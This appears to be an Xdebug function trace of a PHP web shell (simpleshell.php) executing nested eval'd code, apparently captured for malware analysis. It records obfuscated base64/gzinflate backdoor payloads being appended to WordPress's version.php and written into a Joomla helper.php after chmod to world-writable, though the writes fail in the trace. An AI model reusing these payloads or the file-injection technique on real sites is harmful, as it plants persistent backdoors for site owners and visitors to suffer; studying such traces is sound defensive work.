3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	123	$myuortsfew = '/^.*\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/8'
4	89	0	0.008052	477184	preg_match_all	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	125	3	'/^.*\\?\\>\\<\\?php\r\n\r\n\r\n\\$gz \\= "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg\\=\\=";\r\n\\$gzinflate \\= "xZacupitYPAA\\/l4Mg25xB9c8e8aKMDZPaWVgcGh\\+90\\+ndtLda0vwLWWYN\\+2YcvHyNa7a8PR6H\\/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ\\/jF\\/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G\\+QbDptBwdq\\/8'	FALSE	NULL
4	89	1	0.008217	477720
4	89	R			0
4	90	0	0.008234	477680	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	131	2	'/var/www/html/wp-includes/version.php'	'a+'
4	90	1	0.008262	477752
4	90	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	131	$lsawqkdn = FALSE
4	91	0	0.008290	478448	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	133	2	FALSE	'\n?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYN'
4	91	1	0.008321	478512
4	91	R			FALSE
4	92	0	0.008335	477552	fclose	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	134	1	FALSE
4	92	1	0.008351	477584
4	92	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	140	$ikrhtfy = '/var/www/html/modules/mod_custom/helper.php'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	143	$fghky_ouvcbt = '<?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIa'
4	93	0	0.008407	477576	file_exists	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	154	1	'/var/www/html/modules/mod_custom/helper.php'
4	93	1	0.008429	477616
4	93	R			FALSE
4	94	0	0.008443	477576	touch	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	156	1	'/var/www/html/modules/mod_custom/helper.php'
4	94	1	0.008467	477616
4	94	R			FALSE
4	95	0	0.008481	477576	chmod	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	157	2	'/var/www/html/modules/mod_custom/helper.php'	438
4	95	1	0.008501	477648
4	95	R			FALSE
4	96	0	0.008514	477576	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	161	2	'/var/www/html/modules/mod_custom/helper.php'	'w'
4	96	1	0.008539	477648
4	96	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	161	$opazxcdnm = FALSE
4	97	0	0.008620	477104	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	163	2	FALSE	'<?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIa'
4	97	1	0.008658	477168
4	97	R			FALSE
3	15	1	0.008673	477104
2	7	1	0.008684	440696
			0.008767	357960
TRACE END   [2023-02-12 22:57:23.849059]

